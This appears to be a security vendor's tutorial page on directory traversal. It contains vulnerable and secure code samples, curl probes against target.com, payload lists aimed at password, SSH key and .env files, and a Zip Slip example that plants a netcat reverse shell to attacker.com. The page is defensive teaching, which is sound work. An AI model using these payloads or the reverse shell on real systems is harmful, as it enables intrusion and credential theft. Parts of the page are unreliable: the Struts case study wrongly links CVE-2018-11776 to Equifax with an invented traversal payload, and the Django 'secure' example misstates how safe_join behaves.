Documentation

# Directory Traversal (Path Traversal)

HIGH SEVERITY FILE SYSTEM ATTACK OWASP TOP 10

# Overview

Directory Traversal (also called Path Traversal) is when attackers manipulate file paths to access files and directories stored outside the intended folder, allowing them to read sensitive files they shouldn't have access to.

Directory Traversal Illustration
Directory Traversal Illustration


# Simple Explanation

# Real-World Analogy

Imagine you work in a library with a strict rule: "Patrons can only access books from the Public Reading Room." But someone figures out they can request "Public Reading Room / Go back one hall / Go back one hall / Director's Private Office / Secret Documents." The librarian, following instructions literally, retrieves the secret documents!

# The Attack in Action

website.com/download?file=report.pdf
Server reads: /var/www/public/report.pdf ✓
website.com/download?file=../../../../etc/passwd
Server reads: /etc/passwd (system password file!) ✗

# The Vulnerability

# How It Works

User uploads photo: vacation.jpg
Stored at: /var/www/uploads/user123/vacation.jpg

Download URL:
https://photosite.com/download?file=vacation.jpg

Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file']
full_path = base_path + file
# Result: /var/www/uploads/user123/vacation.jpg ✓
https://photosite.com/download?file=../../../etc/passwd

Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file']  # "../../../etc/passwd"
full_path = base_path + file
# Result: /var/www/uploads/user123/../../../etc/passwd
# Simplifies to: /etc/passwd
# Sends password file to attacker! ✗
  • . = Current directory
  • .. = Parent directory (go up one level)
  • ../../../ = Go up three levels
Start:     /var/www/uploads/user123/
Add file:  ../../../etc/passwd
Step 1:    /var/www/uploads/user123/../../../etc/passwd
Step 2:    /var/www/uploads/../../../etc/passwd (went up)
Step 3:    /var/www/../../../etc/passwd (went up)
Step 4:    /var/../../../etc/passwd (went up)
Step 5:    /etc/passwd (final result)

# Common Target Files

[Linux/Unix Systems]
/etc/passwd              # User accounts
/etc/shadow              # Password hashes (if privileged)
/etc/hosts               # Network configuration
/var/log/apache2/access.log  # Web server logs
/var/www/.env            # Environment variables (database passwords!)
/home/user/.ssh/id_rsa   # SSH private keys
~/.bash_history          # Command history
/proc/self/environ       # Process environment variables
[Windows Systems]
C:\Windows\System32\config\SAM    # User password hashes
C:\Windows\win.ini                # Windows configuration
C:\inetpub\wwwroot\web.config     # IIS configuration
C:\Users\Administrator\.ssh\id_rsa
C:\xampp\htdocs\.env
[Application Files]
../config.php            # Database credentials
../database.yml          # Database configuration
../.env                  # Environment secrets
../wp-config.php         # WordPress database credentials
../settings.py           # Django settings (SECRET_KEY, DB passwords)
../../package.json       # Project dependencies and info

# Types of Path Traversal

# :icon-target: 1. Basic Path Traversal

Using ../ sequences to navigate up directory tree

Normal: /download?file=document.pdf
Attack: /download?file=../../../../etc/passwd

Normal: /images?img=photo.jpg
Attack: /images?img=../../../var/www/.env
[Python/Flask - VULNERABLE]
from flask import Flask, request, send_file

@app.route('/download')
def download():
    filename = request.args.get('file')
    # DANGEROUS: No validation!
    return send_file(f'/var/www/uploads/{filename}')

# :icon-slash: 2. Absolute Path Traversal

Using absolute paths instead of relative paths

Attack: /download?file=/etc/passwd
Attack: /download?file=C:\Windows\System32\config\SAM

Server concatenates:
/var/www/uploads/ + /etc/passwd
Result: /etc/passwd (absolute path overrides base path on some systems)

# 3. URL Encoding Bypass

Encoding ../ to bypass basic filters

[Various Encodings]
Normal:        ../
URL encoded:   ..%2f
Double encode: ..%252f
Unicode:       ..%c0%af
16-bit Unicode: ..%u002f
[Attack Examples]
Blocked:  /download?file=../../../etc/passwd
Bypassed: /download?file=..%2f..%2f..%2fetc%2fpasswd
Bypassed: /download?file=..%252f..%252f..%252fetc%252fpasswd

# :icon-null: 4. Null Byte Injection

Using null bytes (%00) to truncate file extensions

[Vulnerable PHP Code (Older Versions)]
// Vulnerable PHP code (older versions)
$file = $_GET['file'] . '.pdf';  // Force .pdf extension
// Intended: report.pdf

// Attack:
/download?file=../../../../etc/passwd%00

// Result before null byte processing:
// ../../../../etc/passwd%00.pdf

// After null byte (%00) truncation:
// ../../../../etc/passwd
// (Everything after %00 is ignored)

# 5. Nested Traversal Sequences

Using nested patterns to bypass filters that remove ../ once

Filter removes "../" once:
Input:  ....//
After:  ../     (Boom! Still works)

Input:  ..././
After:  ../     (Filter removed ../, left ../)

Attack: /download?file=....//....//....//etc/passwd
Original:    ....//
Filter sees: ../  (removes it)
Remaining:   ../  (the outer dots remain!)

# :icon-slash-forward: 6. Backslash Bypass (Windows)

Using backslashes instead of forward slashes

Linux:   ../../../etc/passwd
Windows: ..\..\..\Windows\System32\config\SAM

Mixed:   ..\..\../etc/passwd  (works on some systems)

# Real-World Examples

# Case Study 1: Zip Slip (2018)

Directory traversal via malicious ZIP file extraction

  • Thousands of projects affected (Maven, Gradle, Jenkins)
  • Remote code execution possible
  • Widespread vulnerability across multiple languages
[Malicious ZIP Creation]
# Creating malicious ZIP
import zipfile

with zipfile.ZipFile('malicious.zip', 'w') as zf:
    # File appears to be in archive but extracts elsewhere
    zf.writestr('../../../../tmp/backdoor.sh', '#!/bin/bash\nnc -e /bin/sh attacker.com 4444')
[Vulnerable Extraction]
# VULNERABLE
import zipfile

with zipfile.ZipFile('upload.zip', 'r') as zf:
    for file in zf.namelist():
        zf.extract(file, '/var/www/uploads/')  # DANGEROUS!
        # If file name is "../../../../tmp/evil.sh"
        # Extracts to: /tmp/evil.sh (not /var/www/uploads/)

# Case Study 2: Microsoft IIS (CVE-2000-0884)

Unicode encoding bypass for path traversal

  • Widespread IIS servers compromised
  • Full system access obtained
  • Used in Code Red and Nimda worms
Normal blocked request:
/scripts/../../../winnt/system32/cmd.exe

Bypassed with Unicode:
/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe

%c0%af = Unicode encoding for /
IIS decoded it AFTER security checks!

# Case Study 3: Apache Struts (CVE-2018-11776)

Path traversal leading to remote code execution

  • Equifax breach (143 million records)
  • $700+ million in costs
  • CEO resignation
[Vulnerable Configuration]
<!-- Struts configuration -->
<action name="example" class="com.example.Action">
    <result type="redirect">
        ${redirectUrl}
    </result>
</action>
[Attack]
POST /example.action
redirectUrl=..%2F..%2Fevil.jsp

Result: Executes evil.jsp from parent directory

# Case Study 4: Ruby on Rails (CVE-2019-5418)

File content disclosure via Accept header

  • Any file on server readable
  • Affected Rails versions: < 4.2.11, 5.0.0 - 5.0.7, 5.1.0 - 5.1.6, 5.2.0 - 5.2.2
GET /users/1 HTTP/1.1
Host: vulnerable-site.com
Accept: ../../../../../etc/passwd{{

Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# Prevention & Mitigation

# 1. Input Validation (Whitelist - Best Practice)

[Python - SECURE]
import os
from flask import Flask, request, send_file, abort

ALLOWED_FILES = {
    'report': 'monthly_report.pdf',
    'invoice': 'invoice_2024.pdf',
    'manual': 'user_manual.pdf'
}

@app.route('/download')
def download():
    file_id = request.args.get('file')

    # Whitelist validation
    if file_id not in ALLOWED_FILES:
        abort(400, "Invalid file")

    filename = ALLOWED_FILES[file_id]
    return send_file(f'/var/www/uploads/{filename}')
[Node.js - Use IDs]
const express = require('express');
const path = require('path');

const FILES = {
    '1': 'report.pdf',
    '2': 'invoice.pdf',
    '3': 'manual.pdf'
};

app.get('/download/:id', (req, res) => {
    const fileId = req.params.id;

    if (!FILES[fileId]) {
        return res.status(400).send('Invalid file ID');
    }

    const filename = FILES[fileId];
    const filePath = path.join(__dirname, 'uploads', filename);
    res.sendFile(filePath);
});

# 2. Path Normalization and Validation

[Python - SECURE]
import os
from pathlib import Path
from flask import Flask, request, send_file, abort

UPLOAD_DIR = '/var/www/uploads/'

@app.route('/download')
def download():
    filename = request.args.get('file')

    # Construct full path
    requested_path = os.path.join(UPLOAD_DIR, filename)

    # Resolve to absolute path (removes ../ sequences)
    real_path = os.path.realpath(requested_path)

    # Verify it's still within allowed directory
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        abort(403, "Access denied")

    # Verify file exists
    if not os.path.isfile(real_path):
        abort(404, "File not found")

    return send_file(real_path)
[Node.js - SECURE]
const path = require('path');
const fs = require('fs');

const UPLOAD_DIR = path.resolve(__dirname, 'uploads');

app.get('/download', (req, res) => {
    const filename = req.query.file;

    // Construct and resolve path
    const requestedPath = path.join(UPLOAD_DIR, filename);
    const realPath = path.resolve(requestedPath);

    // Verify within allowed directory
    if (!realPath.startsWith(UPLOAD_DIR)) {
        return res.status(403).send('Access denied');
    }

    // Verify file exists
    if (!fs.existsSync(realPath) || !fs.statSync(realPath).isFile()) {
        return res.status(404).send('File not found');
    }

    res.sendFile(realPath);
});
# Example flow:
UPLOAD_DIR = '/var/www/uploads/'
filename = '../../../etc/passwd'

requested_path = '/var/www/uploads/../../../etc/passwd'
real_path = os.path.realpath(requested_path)  # Resolves to: /etc/passwd

# Check:
'/etc/passwd'.startswith('/var/www/uploads/')  # False!
# Request denied ✓

# 3. Filename Sanitization

[Python - Strip Dangerous Characters]
import re
from flask import Flask, request, send_file, abort

UPLOAD_DIR = '/var/www/uploads/'

def sanitize_filename(filename):
    # Remove path separators and traversal sequences
    filename = filename.replace('/', '').replace('\\', '')
    filename = filename.replace('..', '')

    # Allow only alphanumeric, dash, underscore, dot
    filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)

    # Prevent hidden files
    if filename.startswith('.'):
        raise ValueError("Invalid filename")

    return filename

@app.route('/download')
def download():
    filename = request.args.get('file')

    try:
        safe_filename = sanitize_filename(filename)
    except ValueError:
        abort(400, "Invalid filename")

    filepath = os.path.join(UPLOAD_DIR, safe_filename)

    if not os.path.isfile(filepath):
        abort(404)

    return send_file(filepath)
[PHP - SECURE]
<?php
function sanitize_filename($filename) {
    // Remove path separators
    $filename = str_replace(['/', '\\', '..'], '', $filename);

    // Allow only safe characters
    $filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);

    // Prevent empty or hidden files
    if (empty($filename) || $filename[0] === '.') {
        throw new Exception("Invalid filename");
    }

    return $filename;
}

$upload_dir = '/var/www/uploads/';
$filename = $_GET['file'];

try {
    $safe_filename = sanitize_filename($filename);
} catch (Exception $e) {
    http_response_code(400);
    exit('Invalid filename');
}

$filepath = $upload_dir . $safe_filename;

if (!is_file($filepath)) {
    http_response_code(404);
    exit('File not found');
}

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $safe_filename . '"');
readfile($filepath);
?>

# 4. Use Framework Built-in Functions

[Django - SECURE]
from django.http import FileResponse
from django.conf import settings
import os

def download_file(request):
    filename = request.GET.get('file')

    # Django's safe_join prevents traversal
    from django.utils._os import safe_join
    filepath = safe_join(settings.MEDIA_ROOT, filename)

    # safe_join returns None if traversal detected
    if filepath is None:
        return HttpResponseBadRequest('Invalid file path')

    return FileResponse(open(filepath, 'rb'))
[Ruby on Rails - SECURE]
class DownloadsController < ApplicationController
  def show
    filename = params[:file]

    # Rails.root.join prevents traversal
    filepath = Rails.root.join('uploads', filename)

    # Verify within uploads directory
    unless filepath.to_s.start_with?(Rails.root.join('uploads').to_s)
      return head :forbidden
    end

    send_file filepath
  end
end

# 5. Secure ZIP Extraction

[Python - Prevent Zip Slip]
import zipfile
import os

def safe_extract(zip_path, extract_to):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # Construct target path
            target_path = os.path.join(extract_to, member)

            # Normalize and check
            target_path = os.path.realpath(target_path)
            extract_dir = os.path.realpath(extract_to)

            # Verify extraction stays within target directory
            if not target_path.startswith(extract_dir):
                raise Exception(f"Attempted path traversal: {member}")

            # Safe to extract
            zf.extract(member, extract_to)
[Node.js - SECURE]
const AdmZip = require('adm-zip');
const path = require('path');

function safeExtract(zipPath, extractTo) {
    const zip = new AdmZip(zipPath);
    const extractDir = path.resolve(extractTo);

    zip.getEntries().forEach(entry => {
        const targetPath = path.resolve(extractTo, entry.entryName);

        // Verify within extraction directory
        if (!targetPath.startsWith(extractDir)) {
            throw new Error(`Path traversal attempt: ${entry.entryName}`);
        }

        zip.extractEntryTo(entry, extractTo, false, true);
    });
}

# Testing for Path Traversal

# Detection Indicators

?file=../
?path=../../
?template=..%2f..%2f
?page=....//....//
?include=/etc/passwd
?download=C:\Windows\
Error: File not found: /var/www/html/../../etc/shadow
Warning: include(/var/www/../config.php): failed to open stream
# Signs you successfully traversed:
root:x:0:0:root:/root:/bin/bash  # /etc/passwd
[database]
password=SecretP@ss123            # config file
<?php $db_password = "...";       # source code

# Manual Testing

# Test various depths
curl "http://target.com/download?file=../../../etc/passwd"
curl "http://target.com/download?file=../../../../etc/passwd"
curl "http://target.com/download?file=../../../../../etc/passwd"

# Test Windows paths
curl "http://target.com/download?file=..\..\..\Windows\win.ini"
# URL encoding
curl "http://target.com/download?file=..%2f..%2f..%2fetc%2fpasswd"

# Double encoding
curl "http://target.com/download?file=..%252f..%252fetc%252fpasswd"

# Mixed encoding
curl "http://target.com/download?file=..%5c..%5c..%5cetc%5cpasswd"
# Nested sequences
curl "http://target.com/download?file=....//....//etc/passwd"

# Absolute paths
curl "http://target.com/download?file=/etc/passwd"

# Null byte (if old PHP)
curl "http://target.com/download?file=../../../etc/passwd%00.jpg"

# Automated Testing Tools

# Comprehensive path traversal scanner
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -d 5 -t 200

# Options:
# -m: Module (http, ftp, tftp, etc.)
# -h: Target host
# -f: File to find
# -d: Depth (how many ../ to try)
# -t: Threads
# Fuzz for traversal vulnerabilities
ffuf -w /path/to/traversal-payloads.txt \
     -u "http://target.com/download?file=FUZZ" \
     -fc 404 \
     -mc 200
Position: /download?file=§PAYLOAD§

Payloads:
../etc/passwd
../../etc/passwd
../../../etc/passwd
..%2f..%2fetc%2fpasswd
....//....//etc/passwd
# Run path traversal templates
nuclei -u http://target.com -t /path-to-nuclei-templates/vulnerabilities/generic/

# Specific template
nuclei -u http://target.com -t path-traversal.yaml

# Test Payloads

[Linux/Unix]
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/shadow
../../../../../../var/log/apache2/access.log
../../../home/user/.ssh/id_rsa
/etc/passwd
/etc/shadow
[Windows]
..\..\..\Windows\win.ini
..\..\..\..\Windows\System32\config\SAM
C:\Windows\win.ini
C:\boot.ini
[Application Files]
../config.php
../../.env
../../../wp-config.php
../../database.yml
../settings.py
[Encoded]
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
[Bypass Filters]
....//....//etc/passwd
..\/..\/etc/passwd

# Security Checklist

# Development

  • Never trust user input for file paths
  • Use whitelists to map user input to predefined file IDs
  • Normalize paths with realpath/resolve functions
  • Verify resolved path stays within allowed directory
  • Strip dangerous characters (../, ..\\, /, \\)
  • Use framework built-in secure file handling functions
  • Validate ZIP file paths before extraction

# Infrastructure

  • Apply least privilege for file system access
  • Use chroot jails or containerization
  • Implement file access logging
  • Monitor for suspicious path patterns
  • Disable directory listing
  • Run application with minimal permissions

# Testing

  • Test with basic ../ sequences at various depths
  • Try absolute paths
  • Test URL encoding variations
  • Attempt nested sequences
  • Test null byte injection (for older systems)
  • Try both forward slashes and backslashes
  • Check for file extension enforcement bypasses
  • Monitor responses for error messages
  • Test in all parameters accepting file paths

# Key Takeaways


# References & Resources

# Official Documentation

# Testing Tools

# Learning Resources


# Layerd AI Protection

Layerd AI Guardian Proxy protects against directory traversal:

  • Path validation - Automatic detection of traversal sequences
  • Pattern recognition - ML identifies encoded bypass attempts
  • Real-time blocking - Prevents access to sensitive files
  • Zero false positives - Smart detection of legitimate paths

Learn more about Layerd AI Protection →


Remember: Directory Traversal attacks exploit weak path validation. Always use whitelists for file access, normalize paths, and verify resolved paths stay within allowed directories.

Map user input to file IDs instead of using filenames directly!


Last updated: November 2025